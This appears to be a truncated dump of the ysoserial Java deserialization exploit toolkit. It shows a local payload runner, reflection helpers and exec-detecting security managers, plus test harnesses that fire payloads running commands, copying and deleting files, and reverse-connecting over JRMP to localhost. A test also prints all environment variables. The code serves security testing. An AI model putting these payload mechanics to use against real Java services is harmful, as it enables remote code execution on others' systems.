    "content": "package ysoserial.payloads.util;\n\nimport java.util.concurrent.Callable;\n\nimport ysoserial.Deserializer;\nimport ysoserial.Serializer;\nimport static ysoserial.Deserializer.deserialize;\nimport static ysoserial.Serializer.serialize;\nimport ysoserial.payloads.ObjectPayload;\nimport ysoserial.payloads.ObjectPayload.Utils;\nimport ysoserial.secmgr.ExecCheckingSecurityManager;\n\n/*\n * utility class for running exploits locally from command line\n */\n@SuppressWarnings(\"unused\")\npublic class PayloadRunner {\n\n    public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {\n\t\t// ensure payload generation doesn't throw an exception\n\t\tbyte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){\n\t\t\tpublic byte[] call() throws Exception {\n\t\t\t\tfinal String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();\n\n\t\t\t\tSystem.out.println(\"generating payload object(s) for command: '\" + command + \"'\");\n\n\t\t\t\tObjectPayload<?> payload = clazz.newInstance();\n                final Object objBefore = payload.getObject(command);\n\n\t\t\t\tSystem.out.println(\"serializing payload\");\n\t\t\t\tbyte[] ser = Serializer.serialize(objBefore);\n\t\t\t\tUtils.releasePayload(payload, objBefore);\n                return ser;\n\t\t}});\n\n\t\ttry {\n\t\t\tSystem.out.println(\"deserializing payload\");\n\t\t\tfinal Object objAfter = Deserializer.deserialize(serialized);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n    private static String getDefaultTestCmd() {\n\t    return getFirstExistingFile(\n\t        \"C:\\\\Windows\\\\System32\\\\calc.exe\",\n            \"/Applications/Calculator.app/Contents/MacOS/Calculator\",\n            \"/usr/bin/gnome-calculator\",\n            \"/usr/bin/kcalc\"\n        );\n    }\n\n    private static String getFirstExistingFile(String ... files) {\n        return \"calc.exe\";\n//        for (String path : files) {\n//            if (new File(path).exists()) {\n//                return path;\n//            }\n//        }\n//        throw new UnsupportedOperationException(\"no known test executable\");\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/util/Reflections.java",
    "content": "package ysoserial.payloads.util;\n\nimport java.lang.reflect.AccessibleObject;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\n\nimport sun.reflect.ReflectionFactory;\n\nimport com.nqzero.permit.Permit;\n\n@SuppressWarnings ( \"restriction\" )\npublic class Reflections {\n\n    public static void setAccessible(AccessibleObject member) {\n        String versionStr = System.getProperty(\"java.version\");\n        int javaVersion = Integer.parseInt(versionStr.split(\"\\\\.\")[0]);\n        if (javaVersion < 12) {\n          // quiet runtime warnings from JDK9+\n          Permit.setAccessible(member);\n        } else {\n          // not possible to quiet runtime warnings anymore...\n          // see https://bugs.openjdk.java.net/browse/JDK-8210522\n          // to understand impact on Permit (i.e. it does not work\n          // anymore with Java >= 12)\n          member.setAccessible(true);\n        }\n    }\n\n\tpublic static Field getField(final Class<?> clazz, final String fieldName) {\n        Field field = null;\n\ttry {\n\t    field = clazz.getDeclaredField(fieldName);\n\t    setAccessible(field);\n        }\n        catch (NoSuchFieldException ex) {\n            if (clazz.getSuperclass() != null)\n                field = getField(clazz.getSuperclass(), fieldName);\n        }\n\t\treturn field;\n\t}\n\n\tpublic static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n\t\tfinal Field field = getField(obj.getClass(), fieldName);\n\t\tfield.set(obj, value);\n\t}\n\n\tpublic static Object getFieldValue(final Object obj, final String fieldName) throws Exception {\n\t\tfinal Field field = getField(obj.getClass(), fieldName);\n\t\treturn field.get(obj);\n\t}\n\n\tpublic static Constructor<?> getFirstCtor(final String name) throws Exception {\n\t\tfinal Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];\n\t    setAccessible(ctor);\n\t    return ctor;\n\t}\n\n\tpublic static Object newInstance(String className, Object ... args) throws Exception {\n        return getFirstCtor(className).newInstance(args);\n    }\n\n    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )\n            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {\n        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);\n    }\n\n    @SuppressWarnings ( {\"unchecked\"} )\n    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )\n            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {\n        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);\n\t    setAccessible(objCons);\n        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);\n\t    setAccessible(sc);\n        return (T)sc.newInstance(consArgs);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/secmgr/DelegateSecurityManager.java",
    "content": "package ysoserial.secmgr;\n\nimport java.io.FileDescriptor;\nimport java.net.InetAddress;\nimport java.security.Permission;\n\n@SuppressWarnings({\"deprecation\"})\npublic class DelegateSecurityManager extends SecurityManager {\n\tprivate SecurityManager securityManager;\n\n\tpublic SecurityManager getSecurityManager() {\n\t\treturn securityManager;\n\t}\n\n\tpublic void setSecurityManager(SecurityManager securityManager) {\n\t\tthis.securityManager = securityManager;\n\t}\n\n    //BEGIN fixes for JDK10+ compatibility\n\n    @SuppressWarnings({\"deprecation\"})\n    //@Override\n\tpublic boolean getInCheck() {\n\t\t//return getSecurityManager().getInCheck();\n        return false;\n\t}\n\n    @SuppressWarnings({\"deprecation\"})\n    //@Override\n    public boolean checkTopLevelWindow(Object window) {\n\t    //return getSecurityManager().checkTopLevelWindow(window);\n        return true;\n    }\n\n    @SuppressWarnings({\"deprecation\"})\n    //@Override\n    public void checkSystemClipboardAccess() {\n\t    //getSecurityManager().checkSystemClipboardAccess();\n    }\n\n    @SuppressWarnings({\"deprecation\"})\n    //@Override\n    public void checkAwtEventQueueAccess() {\n        //getSecurityManager().checkAwtEventQueueAccess();\n    }\n\n    @SuppressWarnings({\"deprecation\"})\n    //@Override\n    public void checkMemberAccess(Class<?> clazz, int which) {\n        //getSecurityManager().checkMemberAccess(clazz, which);\n    }\n\n    //END fixes for JDK10+ compatibility\n\n\t@Override\n\tpublic Object getSecurityContext() {\n\t\treturn getSecurityManager().getSecurityContext();\n\t}\n\n\t@Override\n\tpublic void checkPermission(Permission perm) {\n\t\tgetSecurityManager().checkPermission(perm);\n\t}\n\n\t@Override\n\tpublic void checkPermission(Permission perm, Object context) {\n\t\tgetSecurityManager().checkPermission(perm, context);\n\t}\n\n\t@Override\n\tpublic void checkCreateClassLoader() {\n\t\tgetSecurityManager().checkCreateClassLoader();\n\t}\n\n\t@Override\n\tpublic void checkAccess(Thread t) {\n\t\tgetSecurityManager().checkAccess(t);\n\t}\n\n\t@Override\n\tpublic void checkAccess(ThreadGroup g) {\n\t\tgetSecurityManager().checkAccess(g);\n\t}\n\n\t@Override\n\tpublic void checkExit(int status) {\n\t\tgetSecurityManager().checkExit(status);\n\t}\n\n\t@Override\n\tpublic void checkExec(String cmd) {\n\t\tgetSecurityManager().checkExec(cmd);\n\t}\n\n\t@Override\n\tpublic void checkLink(String lib) {\n\t\tgetSecurityManager().checkLink(lib);\n\t}\n\n\t@Override\n\tpublic void checkRead(FileDescriptor fd) {\n\t\tgetSecurityManager().checkRead(fd);\n\t}\n\n\t@Override\n\tpublic void checkRead(String file) {\n\t\tgetSecurityManager().checkRead(file);\n\t}\n\n\t@Override\n\tpublic void checkRead(String file, Object context) {\n\t\tgetSecurityManager().checkRead(file, context);\n\t}\n\n\t@Override\n\tpublic void checkWrite(FileDescriptor fd) {\n\t\tgetSecurityManager().checkWrite(fd);\n\t}\n\n\t@Override\n\tpublic void checkWrite(String file) {\n\t\tgetSecurityManager().checkWrite(file);\n\t}\n\n\t@Override\n\tpublic void checkDelete(String file) {\n\t\tgetSecurityManager().checkDelete(file);\n\t}\n\n\t@Override\n\tpublic void checkConnect(String host, int port) {\n\t\tgetSecurityManager().checkConnect(host, port);\n\t}\n\n\t@Override\n\tpublic void checkConnect(String host, int port, Object context) {\n\t\tgetSecurityManager().checkConnect(host, port, context);\n\t}\n\n\t@Override\n\tpublic void checkListen(int port) {\n\t\tgetSecurityManager().checkListen(port);\n\t}\n\n\t@Override\n\tpublic void checkAccept(String host, int port) {\n\t\tgetSecurityManager().checkAccept(host, port);\n\t}\n\n\t@Override\n\tpublic void checkMulticast(InetAddress maddr) {\n\t\tgetSecurityManager().checkMulticast(maddr);\n\t}\n\n    @SuppressWarnings({\"deprecation\"})\n    @Override\n\tpublic void checkMulticast(InetAddress maddr, byte ttl) {\n\t\tgetSecurityManager().checkMulticast(maddr, ttl);\n\t}\n\n\t@Override\n\tpublic void checkPropertiesAccess() {\n\t\tgetSecurityManager().checkPropertiesAccess();\n\t}\n\n\t@Override\n\tpublic void checkPropertyAccess(String key) {\n\t\tgetSecurityManager().checkPropertyAccess(key);\n\t}\n\n\t@Override\n\tpublic void checkPrintJobAccess() {\n\t\tgetSecurityManager().checkPrintJobAccess();\n\t}\n\n\t@Override\n\tpublic void checkPackageAccess(String pkg) {\n\n\t\tgetSecurityManager().checkPackageAccess(pkg);\n\t}\n\n\t@Override\n\tpublic void checkPackageDefinition(String pkg) {\n\t\tgetSecurityManager().checkPackageDefinition(pkg);\n\t}\n\n\t@Override\n\tpublic void checkSetFactory() {\n\t\tgetSecurityManager().checkSetFactory();\n\t}\n\n\t@Override\n\tpublic void checkSecurityAccess(String target) {\n\t\tgetSecurityManager().checkSecurityAccess(target);\n\t}\n\n\t@Override\n\tpublic ThreadGroup getThreadGroup() {\n\t\treturn getSecurityManager().getThreadGroup();\n\t}\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java",
    "content": "package ysoserial.secmgr;\n\nimport java.security.Permission;\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.concurrent.Callable;\n\n// TODO per-thread secmgr\npublic class ExecCheckingSecurityManager extends SecurityManager {\n\tpublic ExecCheckingSecurityManager() {\n\t\tthis(true);\n\t}\n\n\tpublic ExecCheckingSecurityManager(boolean throwException) {\n\t\tthis.throwException = throwException;\n\t}\n\n\tprivate final boolean throwException;\n\n\tprivate final List<String> cmds = new LinkedList<String>();\n\n\tpublic List<String> getCmds() {\n\t\treturn Collections.unmodifiableList(cmds);\n\t}\n\n\t@Override\n\tpublic void checkPermission(final Permission perm) { }\n\n\t@Override\n\tpublic void checkPermission(final Permission perm, final Object context) { }\n\n\t@Override\n\tpublic void checkExec(final String cmd) {\n\t\tsuper.checkExec(cmd);\n\n\t\tcmds.add(cmd);\n\n\t\tif (throwException) {\n\t\t\t// throw a special exception to ensure we can detect exec() in the test\n\t\t\tthrow new ExecException(cmd);\n\t\t}\n\t};\n\n\t@SuppressWarnings(\"serial\")\n\tpublic static class ExecException extends RuntimeException {\n\t\tprivate final String threadName = Thread.currentThread().getName();\n\t\tprivate final String cmd;\n\t\tpublic ExecException(String cmd) { this.cmd = cmd; }\n\t\tpublic String getCmd() { return cmd; }\n\t\tpublic String getThreadName() { return threadName; }\n\t\t@\n\t\tOverride\n\t\tpublic String getMessage() {\n\t\t\treturn \"executed `\" + getCmd() + \"` in [\" + getThreadName() + \"]\";\n\t\t}\n\t}\n\n\tpublic void callWrapped(final Runnable runnable) throws Exception {\n\t\tcallWrapped(new Callable<Void>(){\n\t\t\tpublic Void call() throws Exception {\n\t\t\t\trunnable.run();\n\t\t\t\treturn null;\n\t\t\t}\n\t\t});\n\t}\n\n\tpublic <T> T callWrapped(final Callable<T> callable) throws Exception {\n\t\tSecurityManager sm = System.getSecurityManager(); // save sm\n\t\tSystem.setSecurityManager(this);\n\t\ttry {\n\t\t\tT result = callable.call();\n\t\t\tif (throwException && ! getCmds().isEmpty()) {\n\t\t\t\tthrow new ExecException(getCmds().get(0));\n\t\t\t}\n\t\t\treturn result;\n\t\t} catch (Exception e) {\n\t\t\tif (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {\n\t\t\t\tthrow new ExecException(getCmds().get(0));\n\t\t\t} else {\n\t\t\t\tthrow e;\n\t\t\t}\n\t\t} finally {\n\t\t\tSystem.setSecurityManager(sm); // restore sm\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/CiTest.java",
    "content": "package ysoserial;\n\nimport org.junit.Test;\n\npublic class CiTest {\n    @Test\n    public void test() {\n        System.out.println(\"System.getProperties(): \" + System.getProperties());\n        System.out.println(\"System.getenv(): \" + System.getenv());\n    }\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/CustomDeserializer.java",
    "content": "package ysoserial.test;\n\n\n/**\n * @author mbechler\n *\n */\npublic interface CustomDeserializer {\n\n\n    Class<?> getCustomDeserializer ();\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/CustomPayloadArgs.java",
    "content": "package ysoserial.test;\n\n\n/**\n * @author mbechler\n *\n */\npublic interface CustomPayloadArgs {\n\n\n    String getPayloadArgs ();\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/CustomTest.java",
    "content": "package ysoserial.test;\n\nimport java.util.concurrent.Callable;\n\n/**\n * @author mbechler\n *\n */\npublic interface CustomTest extends CustomPayloadArgs {\n\n    void run (Callable<Object> payload) throws Exception;\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/WrappedTest.java",
    "content": "package ysoserial.test;\n\nimport java.util.concurrent.Callable;\n\n/**\n * @author mbechler\n *\n */\npublic interface WrappedTest extends CustomPayloadArgs {\n\n    Callable<Object> createCallable ( Callable<Object> innerCallable );\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/exploit/RMIRegistryExploitTest.java",
    "content": "package ysoserial.test.exploit;\n\nimport java.rmi.RemoteException;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\n\npublic class RMIRegistryExploitTest {\n\tpublic static void createRegistry(int port) throws RemoteException {\n\t\tRegistry registry = LocateRegistry.createRegistry(port);\n\t}\n\n\tpublic static void main(String[] args) throws RemoteException, InterruptedException {\n\t\tString portStr = args.length > 0 && args[0] != null ? args[0] : \"1099\";\n\t\tint port = Integer.parseInt(portStr);\n\t\tcreateRegistry(port);\n\t\twhile (true) Thread.sleep(1000);\n\t}\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/CommandExecTest.java",
    "content": "package ysoserial.test.payloads;\n\nimport org.junit.Assert;\nimport ysoserial.test.CustomTest;\nimport ysoserial.test.util.Files;\nimport ysoserial.test.util.OS;\n\nimport java.io.File;\nimport java.util.UUID;\nimport java.util.concurrent.Callable;\n\npublic class CommandExecTest implements CustomTest {\n    private final File testFile =\n        new File(OS.getTmpDir(), \"ysoserial-test-\" + UUID.randomUUID().toString().replaceAll(\"-\", \"\"));\n\n    @Override\n    public void run(Callable<Object> payload) throws Exception {\n        Assert.assertFalse(\"test file should not exist\", testFile.exists());\n        try {\n            payload.call();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        Files.waitForFile(testFile, 5000);\n        Assert.assertTrue(\"test file should exist\", testFile.exists());\n        testFile.deleteOnExit();\n    }\n\n    @Override\n    public String getPayloadArgs() {\n        switch (OS.get()) {\n            case OSX:\n            case LINUX: return \"touch \" + testFile;\n            case WINDOWS: return \"powershell -command new-item -type file \" + testFile;\n            default: throw new UnsupportedOperationException(\"unsupported os\");\n        }\n    }\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/FileUploadTest.java",
    "content": "package ysoserial.test.payloads;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Arrays;\nimport java.util.concurrent.Callable;\n\nimport org.junit.Assert;\n\nimport com.google.common.io.Files;\n\nimport ysoserial.test.CustomTest;\nimport ysoserial.test.util.OS;\n\n/**\n * @author mbechler\n *\n */\npublic class FileUploadTest implements CustomTest {\n\n    /**\n     *\n     */\n    private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF };\n    private File source;\n    private File repo;\n\n\n    /**\n     *\n     */\n    public FileUploadTest () {\n        try {\n            source = File.createTempFile(\"fut\", \"-source\");\n            repo = Files.createTempDir();\n        }\n        catch ( IOException e ) {\n            e.printStackTrace();\n        }\n    }\n\n\n    public synchronized void run ( Callable<Object> payload ) throws Exception {\n        try {\n            Files.write(FDATA, this.source);\n            Assert.assertTrue(this.source.exists());\n            payload.call();\n\n            File found = null;\n            for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing\n                for (File f : this.repo.listFiles()) {\n                    found = f;\n                    break;\n                }\n                Thread.sleep(100);\n            }\n            Assert.assertNotNull(\"File not copied\", found);\n            if (OS.get() != OS.WINDOWS) {\n                // windows' file locking seems to cause this to fail\n                Assert.assertFalse(\"Source not deleted\", this.source.exists());\n            }\n            Assert.assertTrue(\"Contents not copied\", Arrays.equals(FDATA, Files.toByteArray(found)));\n        } finally {\n            if ( this.repo.exists()) {\n                for ( File f : this.repo.listFiles()) {\n                    safeDeleteOnExit(f);\n                }\n                safeDeleteOnExit(this.repo);\n            }\n            safeDeleteOnExit(this.source);\n        }\n    }\n\n    private static void safeDeleteOnExit(File f) {\n        try {\n            if (f.exists()) {\n                f.deleteOnExit();\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getPayloadArgs () {\n        return \"copyAndDelete;\" + this.source.getAbsolutePath() + \";\" + this.repo.getAbsolutePath();\n    }\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java",
    "content": "package ysoserial.test.payloads;\n\n\nimport java.net.URL;\nimport java.util.concurrent.Callable;\n\nimport ysoserial.test.WrappedTest;\nimport ysoserial.exploit.JRMPListener;\n\n\n/**\n * @author mbechler\n *\n */\npublic class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest {\n\n    private int jrmpPort;\n\n\n    public JRMPReverseConnectSMTest (String command) {\n        super(command);\n        // some payloads cannot specify the port\n        jrmpPort = 1099;\n    }\n\n\n\n\n\n    /**\n      * {@inheritDoc}\n      *\n      * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)\n      */\n    @Override\n    public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {\n        return  super.createCallable(new Callable<Object>() {\n            public Object call () throws Exception {\n                JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL(\"http\", \"localhost\", getHTTPPort(), \"/\"));\n                Thread t = new Thread(l, \"JRMP listener\");\n                try {\n                    t.start();\n                    Object res = innerCallable.call();\n                    l.waitFor(1000);\n                    return res;\n                }\n                finally {\n                    l.close();\n                    t.interrupt();\n                    t.join();\n                }\n            }\n        });\n    }\n\n    @Override\n    public String getPayloadArgs () {\n        return \"localhost:\" + jrmpPort;\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java",
    "content": "package ysoserial.test.payloads;\n\n\nimport java.util.concurrent.Callable;\n\nimport javax.management.BadAttributeValueExpException;\n\nimport org.junit.Assert;\n\nimport ysoserial.test.CustomTest;\nimport ysoserial.exploit.JRMPListener;\n\n\n/**\n * @author mbechler\n *\n */\npublic class JRMPReverseConnectTest implements CustomTest {\n\n    private int port;\n\n\n    /**\n     *\n     */\n    public JRMPReverseConnectTest () {\n        // some payloads cannot specify the port\n        port = 1099;\n    }\n\n\n    public void run ( Callable<Object> payload ) throws Exception {\n        JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException(\"foo\"));\n        Thread t = new Thread(l, \"JRMP listener\");\n        try {\n            t.start();\n            try {\n                payload.call();\n            }\n            catch ( Exception e ) {\n                // ignore\n            }\n            Assert.assertTrue(\"Did not have connection\", l.waitFor(1000));\n        }\n        finally {\n            l.close();\n            t.interrupt();\n            t.join();\n        }\n    }\n\n\n    public String getPayloadArgs () {\n        return \"rmi:localhost:\" + port;\n    }\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/MyfacesTest.java",
    "content": "package ysoserial.test.payloads;\n\n\nimport java.beans.FeatureDescriptor;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\n\nimport javax.el.BeanELResolver;\nimport javax.el.ELContext;\nimport javax.el.ELResolver;\nimport javax.el.MapELResolver;\nimport javax.faces.context.FacesContext;\nimport javax.servlet.ServletContext;\nimport javax.servlet.ServletRequest;\n\nimport org.apache.myfaces.el.CompositeELResolver;\nimport org.apache.myfaces.el.unified.FacesELContext;\nimport org.mockito.Matchers;\nimport org.mockito.Mockito;\nimport org.mockito.invocation.InvocationOnMock;\nimport org.mockito.stubbing.Answer;\n\nimport ysoserial.payloads.util.Reflections;\nimport ysoserial.test.CustomDeserializer;\nimport ysoserial.Deserializer;\n\n\n/**\n * @author mbechler\n *\n */\npublic class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {\n\n\n    public MyfacesTest ( String command ) {\n        super(command);\n    }\n\n\n\n    public Class<?> getCustomDeserializer () {\n        return MyfacesDeserializer.class;\n    }\n\n    /**\n     * need to use a custom deserializer so that the faces context gets set in the isolated class\n     *\n     * @author mbechler\n     *\n     */\n    public static final class MyfacesDeserializer extends Deserializer {\n\n        public static Class<?>[] getExtraDependencies () {\n            return new Class[] {\n                MockRequestContext.class, MockELResolver.class\n            };\n        }\n\n        private static class MockRequestContext implements Answer<Object> {\n\n            private Map<String, Object> attributes = new HashMap<String, Object>();\n\n\n            public Object answer ( InvocationOnMock invocation ) throws Throwable {\n\n                if ( \"setAttribute\".equals(invocation.getMethod().getName()) ) {\n                    this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class));\n                    return null;\n                }\n                else if ( \"getAttribute\".equals(invocation.getMethod().getName()) ) {\n                    return this.attributes.get(invocation.getArgumentAt(0, String.class));\n                }\n                return null;\n            }\n\n        }\n\n\n        private static class MockELResolver extends ELResolver {\n\n            private ServletRequest request;\n\n\n            public MockELResolver (ServletRequest req) {\n                this.request = req;\n            }\n\n\n            @Override\n            public Object getValue ( ELContext context, Object base, Object property ) {\n                if ( base == null && \"request\".equals(property)) {\n                    context.setPropertyResolved(true);\n                    return this.request;\n                }\n\n                return null;\n            }\n\n\n            @Override\n            public Class<?> getType ( ELContext context, Object base, Object property ) {\n                if ( base == null && \"request\".equals(property)) {\n                    context.setPropertyResolved(true);\n                    return ServletRequest.class;\n                }\n                return null;\n            }\n\n\n            @Override\n            public void setValue ( ELContext context, Object base, Object property, Object value ) {\n\n            }\n\n\n            @Override\n            public boolean isReadOnly ( ELContext context, Object base, Object property ) {\n                return true;\n            }\n\n\n            @Override\n            public Iterator<FeatureDescriptor> getFeatureDescriptors ( ELContext context, Object base ) {\n                return null;\n            }\n\n\n            @Override\n            public Class<?> getCommonPropertyType ( ELContext context, Object base ) {\n                return null;\n            }\n\n        }\n\n        public MyfacesDeserializer ( byte[] bytes ) {\n            super(bytes);\n        }\n\n\n        @Override\n        public Object call () throws Exception {\n            java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod(\"setCurrentInstance\", FacesContext.class);\n            Reflections.setAccessible(setFC);\n            ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();\n            Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());\n            FacesContext ctx = createMockFacesContext();\n            try {\n                setFC.invoke(null, ctx);\n                return super.call();\n            }\n            finally {\n                setFC.invoke(null, (FacesContext) null);\n                Thread.currentThread().setContextClassLoader(oldTCCL);\n            }\n        }\n\n\n        private static FacesContext createMockFacesContext () throws MalformedURLException {\n            FacesContext ctx = Mockito.mock(FacesContext.class);\n            CompositeELResolver cer = new CompositeELResolver();\n            FacesELContext elc = new FacesELContext(cer, ctx);\n            ServletRequest requestMock = Mockito.mock(ServletRequest.class);\n            ServletContext contextMock = Mockito.mock(ServletContext.class);\n            URL url = new URL(\"file:///\");\n            Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url);\n            Mockito.when(requestMock.getServletContext()).thenReturn(contextMock);\n            Answer<?> attrContext = new MockRequestContext();\n            Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext);\n            Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any());\n            cer.add(new MockELResolver(requestMock));\n            cer.add(new BeanELResolver());\n            cer.add(new MapELResolver());\n            Mockito.when(ctx.getELContext()).thenReturn(elc);\n            return ctx;\n        }\n    }\n\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/PayloadsTest.java",
    "content": "package ysoserial.test.payloads;\n\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.OutputStream;\nimport java.io.PrintStream;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.net.URL;\nimport java.net.URLClassLoader;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.Callable;\n\nimport org.jboss.shrinkwrap.resolver.api.maven.Maven;\nimport org.junit.Assume;\nimport org.junit.Test;\nimport org.junit.runner.Description;\nimport org.junit.runner.JUnitCore;\nimport org.junit.runner.Result;\nimport org.junit.runner.RunWith;\nimport org.junit.runner.notification.Failure;\nimport org.junit.runner.notification.RunListener;\nimport org.junit.runners.Parameterized;\nimport org.junit.runners.Parameterized.Parameters;\n\nimport ysoserial.*;\nimport ysoserial.payloads.DynamicDependencies;\nimport ysoserial.payloads.ObjectPayload;\nimport ysoserial.test.CustomTest;\nimport ysoserial.test.CustomDeserializer;\nimport ysoserial.test.CustomPayloadArgs;\nimport ysoserial.test.WrappedTest;\nimport ysoserial.test.payloads.TestHarnessTest.ExecMockPayload;\nimport ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.ClassFiles;\n\n\n/*\n * tests each of the parameterize Payload classes by using a mock SecurityManager that throws\n * a special exception when an exec() attempt is made for more reliable detection; self-tests\n * the harness for trivial pass and failure cases\n\nTODO: figure out better way to test exception behavior than comparing messages\n */\n@SuppressWarnings ( {\n    \"rawtypes\", \"unused\", \"unchecked\"\n} )\n@RunWith ( Parameterized.class )\npublic class PayloadsTest {\n\n    @Parameters ( name = \"payloadClass: {0}\" )\n    public static Class<? extends ObjectPayload<?>>[] payloads () {\n        Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();\n        payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));\n        return payloadClasses.toArray(new Class[0]);\n    }\n\n    private final Class<? extends ObjectPayload<?>> payloadClass;\n\n\n    public PayloadsTest ( Class<? extends ObjectPayload<?>> payloadClass ) {\n        this.payloadClass = payloadClass;\n    }\n\n\n    @Test\n    public void testPayload () throws Exception {\n        testPayload(payloadClass, new Class[0]);\n    }\n\n\n    public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )\n            throws Exception {\n        System.out.println(\"Testing payload: \" + payloadClass.getName());\n\n        String command = \"hostname\";\n\n        PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);\n\n        int tries = 1;\n        if ( t != null ) {\n            if (System.getProperty(\"forceTests\") == null) {\n                if ( !t.skip().isEmpty() ) {\n                    Assume.assumeTrue(t.skip(), false);\n                }\n\n                if ( !t.precondition().isEmpty() ) {\n                    Assume.assumeTrue(\"Precondition: \" + t.precondition(), checkPrecondition(payloadClass, t.precondition()));\n                }\n            }\n\n            if (! t.flaky().isEmpty()) {\n                tries = 5;\n            }\n        }\n\n        String[] deps = buildDeps(payloadClass);\n        String payloadCommand = command;\n        Class<?> customDeserializer = null;\n        Object testHarness = null;\n        if ( t != null && !t.harness().isEmpty() ) {\n            Class<?> testHarnessClass = Class.forName(t.harness());\n            try {\n                testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);\n            } catch ( NoSuchMethodException e ) {\n                testHarness = testHarnessClass.newInstance();\n            }\n        } else {\n            testHarness = new CommandExecTest(); // default\n        }\n\n        if ( testHarness instanceof CustomPayloadArgs) {\n            payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();\n        }\n\n        if ( testHarness instanceof CustomDeserializer) {\n            customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();\n        }\n\n        // TODO per-thread secmgr to enforce no detonation during deserialization\n        final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();\n        Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);\n        if ( testHarness instanceof WrappedTest) {\n            callable = ( (WrappedTest) testHarness ).createCallable(callable);\n        }\n\n        if (testHarness instanceof CustomTest) {\n            // if marked as flaky try up to 5 times\n            Exception ex = new Exception();\n            for (int i = 0; i < tries; i++) {\n                try {\n                    ((CustomTest) testHarness).run(callable);\n                    ex = null;\n                    break;\n                } catch (Exception e) {\n                    ex = e;\n                }\n            }\n            if (ex != null) throw ex;\n        }\n\n    }\n\n\n\n    private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {\n        return new Callable<byte[]>() {\n\n            public byte[] call () throws Exception {\n                ObjectPayload<?> payload = payloadClass.newInstance();\n                final Object f = payload.getObject(command);\n                byte[] serialized =  Serializer.serialize(f);\n                ObjectPayload.Utils.releasePayload(payload, f);\n                return serialized;\n            }\n        };\n    }\n\n\n    private static Callable<Object> makeDeserializeCallable ( PayloadTest 